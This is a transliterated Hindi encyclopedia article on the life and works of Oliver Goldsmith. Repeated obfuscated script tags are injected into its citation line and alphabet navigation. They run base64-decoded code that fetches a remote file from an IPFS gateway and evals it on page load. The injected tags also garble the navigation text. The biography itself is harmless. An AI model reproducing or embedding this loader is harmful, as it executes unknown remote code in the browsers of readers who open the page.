ऑलिवर गोल्डस्मिथ

aaulivar goldasmith (1728-1774) ka janm ayaralaiand ke ek gaanv mean sanh‌ 1728 ee. mean hua tha. unake pita svalp vaitanik padari tatha mata skoolamastar ki putri thian. pita ka vetan atithisatkar mean hi samapt ho jata tha, phalasvaroop sat vyaktiyoan ka kutuanb pray: bhavishy ke sukhasvapn dekhata hua vartaman ke abhavoan tatha sankatoan se sangharsh karata raha. goldasmith is udarahriday tatha dayalu vyakti ki paanchavian santan the aur janm se hi kuroop tatha bhadde the. unaki shiksha gaanv ke skool se aranbh hokar triniti kalej, dablin, mean samapt huee. 1749 mean kalej chho dane ke sath hi pita ki mrityu ho jane se unhean atmanirbhar hone ke liye vivash hona p da. kee vyavasayoan mean asaphal hone ke pashchath‌ unhoanne chikitsashastr ka adhyayan aranbh kiya aur 1754 mean desh ke bahar yoorop jakar jnanavistar karane ka nishchay kiya. yatra ke samay unake pas keval 20 pauand the aur hath mean unaki priy baansuri. apani chanchal prakriti ke vashibhoot hokar unhoanne paidal bhraman aranbh kiya aur phraans tatha svitjaralaiand ke vibhinn kshetroan mean ve mahinoan ghoomate rahe. baansuri ka chamatkar hi unake bharan poshan ka sadhan raha.

1756 mean goldasmith landan mean bhagyapariksha ke liye laute aur lekhani ko jivikoparjan ka madhyam banane ke liye vivash hue. 1760 mean unhoanne 'pablik lejar' namak patrika mean kuchh lekh prakashit karavae jo bad ki 'di' sitijen aauv di varld' ke nam se prasiddh hue. sanh‌ 1764 mean 'di traivelar' namak kavita ke prakashan ke sath unaki prasiddhi badhane lagi aur do varsh pashchath‌ unake upanyas 'di vikar aauph vekafild' ne to unako lokapriy lekhak bana diya. isake pashchath‌ unake hasyarasapoorn natakoan 'di gud nechard main,' 'shi stoops tu kaankar' tatha prasiddh kavita 'di dejarted vilej' ka srijan hua. is samay tak vah jansan ke sahityik klab' ke sadasy ho chuke the. parantu paisa unhean sadaiv katata raha aur dhan ate hi ve muktahast hokar use bikherane lagate the. isi ke phalasvaroop nirdhanata tatha chianta se pi dit rahate hue sanh‌ 1774 mean unhoanne pranatyag kiya.

goldasmith ke vyaktitv ke bahm doshoan ke sath sath manavochit gunoan, jaise sahridayata, dayaluta, deshaprem tatha hasyapriyata ka aisa vichitr sanmishran tha ki unake sanpark mean ane vale vyaktiyoan mean virodhi prakriyaoan ka hona svabhavik tha, parantu koee bhi vyakti adhik der tak unake sadgunoan ke prati udasin nahian rah sakata tha. yahi bat unake lekhoan ke sanbandh mean bhi kahi gee hai. bahar se dekhane mean unamean katipay trutiyaan turant drishtigochar ho jati haian, parantu manoyog se adhyayan karane ke bad koee bhi pathak unake jadoo se aprabhavit nahian rah sakata. is sanbandh mean d aau. jansan ki yah yukti saragarbhit hai ki koee bhi sahity ka aang unase achhoota nahian raha aur jis vastu ka unaki lekhani ne sparsh kiya, use suandar tatha manamohak banane mean koee kasar nahi rakhi.

unake nibandhoan mean hasy tatha karunaras ka vaisa hi sukhad mel hai jaisa charls laianb ke amar lekhoan mean milata hai aur yahi samishran unake patroan ko ajatak jivit rakhane mean saphal hua hai. unake kalpanik patr, jaise 'di main in blaik,' d aau. primaroz' tatha dejartej vilej' mean 'skoolamastar' tatha 'kantriparsan' pathakoan ke liye parichit vyaktiyoan se bhi adhik sajiv haian. unaki kritiyoan mean manav ke naisargik maryada ke prati hardik nishtha tatha atyachar ke prati ghor virodh mukharit hua hai aur sarvatr nirbal tatha prata dit praniyoan ke prati unaki vishuddh sanvedana pravahit huee hai. unaki shaili parishkrit tatha paradarshi darpan ke saman hai jinamean unake daivi svabhav ka madhury tatha hriday ki vishalata poornaroopen pratibianbit haian. unaka vyang bhi komal hai aur hasy to sharachandr ke prakash ke saman hi sukhad hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 4 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 38 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 4 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 38 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

ऑलिवर गोल्डस्मिथ

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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